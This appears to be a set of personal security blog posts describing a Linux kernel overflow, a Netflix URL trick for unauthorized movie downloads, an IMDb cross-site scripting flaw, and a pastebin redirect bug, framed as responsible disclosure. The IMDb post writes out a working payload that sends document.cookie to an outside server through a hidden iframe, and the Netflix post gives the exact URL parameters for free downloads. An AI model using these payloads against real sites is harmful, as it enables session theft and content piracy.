codeblog

When trying to find buffer overflows, it is common practice to try and fill memory with lots of “A” characters. I first saw this when learning basic stack smashing techniques from Smashing the Stack for Fun and Profit, and have long wondered who did it first. Ever since, I’ve always used long strings of “A”s too (sometimes “B”s), and only recently started using better things like Metasploit’s pattern generator and offset reporter.

I’m fairly used to seeing things like this from my gdb sessions:

Program received signal SIGSEGV, Segmentation fault.
0×41414141 in ?? ()
(gdb)

It means I’ve managed to gain control of the instruction pointer, and I’m now to the stage of needing to locate and deliver a shellcode.

Over the weekend I had the pleasure of causing my kernel to do something similar, via an unprivileged userspace process, using the vulnerability discovered by Wojciech Purczynski:

[119647.578349] general protection fault: 0000 [3] SMP
[119647.578357] CPU 0
…
[119647.578759] Code: Bad RIP value.
[119647.578774] RIP [<4141414141414141>]

I hadn’t had an opportunity to play with kernel shellcode before, so I ended up learning a lot from Brad Spengler. Before the day was up, I was left staring at a root shell.

This was a nasty bug. Luckily, it’s “only” a local exploit, and only for x86_64 kernels. But that’s still a very large number of installations. Please make sure your x86_64 machines are patched against CVE-2007-4573 (for Ubuntu, this is USN-518-1).

Netflix accidentally lets you download movies for free. I reported this on March 18th, but they still haven’t replied. It’s been 2 weeks, so I’m posting the details now.

While digging through Netflix’s javascript I found a function named “startDownload“. I was originally just curious about the AJAX responsible for the movie info popup boxes, but this proved much more interesting.

I’m guessing they must be beta-testing this for some accounts because nothing visible through my account ever calls “startDownload“, but I could still use it.

Turns out the function handles a bitrate selection, and then just rewrites the URL a little. You can get the same affect by just adding “&download=avi&br=4” to the end of a movie info URL. For example, this is the URL to get info about Ice Age, and this is the URL to download Ice Age. This even seems to work without being logged in.

I haven’t had time to check if everything in their library is downloadable, but of the 6 or so I tried, they all worked. If anyone finds a cut-off date, let me know.

Last week I discovered a cross-site scripting vulnerability in IMDb’s website. It was a strong enough vulnerability that I could actively steal login sessions with it. Part of their Search system would pass the “to-be-displayed” location on the URL, and didn’t quote HTML entities. I was able to steal my own cookies and log in with my IMDb account from another computer. Last Wed, I reported it:

26 Oct 2005 10:29:59 PM
Hello!

It seems your service is vulnerable to cross-site scripting (XSS). Since you
have login information stored as cookies, it’s possible for people to trick
others into exposing their logins. As an example, this displays your cookies to
you in your browser:

http://imdb.com/List?locations=a&&heading=18;%3Cscript%3Ealert(document.cookie)%3C/script%3E

Please let me know if you have any questions. I love using IMDb, and thought
you might want to make yourselves more secure.

Thanks!

At 9am today, they had fixed it:

31 Oct 2005 09:01:17 AM
Thank you for your feedback about the Internet Movie Database.

The IMDb is constantly being updated and improved, and we welcome all comments and suggestions aimed at improving its features, flexibility and ease of use.

We appreciate that you took the time to share your thoughts with us. It has now been fixed.

Thank you for your support!

—-
Regards,
[name]
The IMDb Help Desk

Another success for vulnerability reporting!

As for a concrete example, the “heading” argument to their search tool was being displayed. The harmless example I used above just pops an alert dialog. To actually pass the cookies off-site where it can be collected, I used an invisible IFRAME, and pulled a content-less document from my server. To do this, I wanted the following to appear on the IMDb page:

<iframe src=”http://outflux.net/null.html?cookie” width=”0″ height=”0″ frameborder=”0″</iframe>

There are a number of ways to take the browser off-site. Another are the HTTP methods that get used in a lot of AJAX applications. I haven’t dug into using that, even though they’re way more powerful (since you don’t need to “hide” the results of an IFRAME, etc, if you don’t listen for the HTTP results, they just never get used — it’s only the “side-effect” of recording the cookie off-site that’s wanted). Since this XSS vulnerability lets me write JavaScript directly to the browser, I needed to inject the following:

document.write(’<iframe src=”http://outflux.net/null.html?’+document.cookie+’” width=”0″ height=”0″ frameborder=”0″</iframe>’)

And here it is, HTML-encoded, stuffed into the middle of the “header” argument to the search function, disguised as a search for filming locations in Vancouver, BC:

http://imdb.com/List?endings=on&&locations=Koerner%20Plaza,%20University%20of%20British%20Columbia,%20Vancouver,%20British%20Columbia,%20Canada&&heading=18;with+locations+including;Koerner%20Plaza,%20University%20of%20British%20Columbia,%20Vancouver,%20British%20Columbia,%3Cscript%3Edocument.write(’%3Ciframe%20src=%22http://outflux.net/null.html?’%2Bdocument.cookie%2B’%22%20width=%220%22%20height=%220%22%20frameborder=%220%22%3E%3C/iframe%3E’)%3C/script%3E%20Canada

And if you click that, you can see their newly fixed entity-escaping. Again, kudos to IMDb! Additionally, it looks like they rearranged their search tool to not even use the “header” argument anymore. Neato.

When discussing code on IRC, I’ve found http://pastebin.com/ to be a valuable resource for sharing code snippets. It has a really simple interface, and can give you a semi-private area just by specifying a subdomain (e.g. http://yayoutflux.pastebin.com/).

I had spent some time yesterday doing some other security audits, and figured I’d poke around at pastebin. Overall, the system was fine (only two inputs: text and name — both were strongly filtered). I did discover a redirect bug, though, which would let me use the site to redirect to somewhere else. While there isn’t anything to “steal” on pastebin, a bad guy could still trick their unsuspecting friends into visiting other (maybe more dangerous?) websites.

I reported the problem to pastebin’s author (Paul Dixon), and he had it fixed before I woke up. That’s how vulnerability reporting is supposed to work! Thanks Paul!

Here’s how it used to work. From the pastebin help, you can type in a subdomain to use for your pastebin. (Like “yayoutflux” above.) The form did some checking (no /’s allowed), but would accidentally let you send whitespace, including a linefeed.

Normally, a web redirect from that form would look something like this, where the user input is shown in bold:

HTTP/1.1 302 Found
Location: http://yayoutflux.pastebin.com

However, if I add a linefeed (URL encoded as %0A: http://pastebin.com/pastebin.php?goprivate=cnn.com%0A), I could break the “Location” tag, and trick the browser into going somewhere else:

HTTP/1.1 302 Found
Location: http://cnn.com
.pastebin.com

Great illustration of redirection XSS.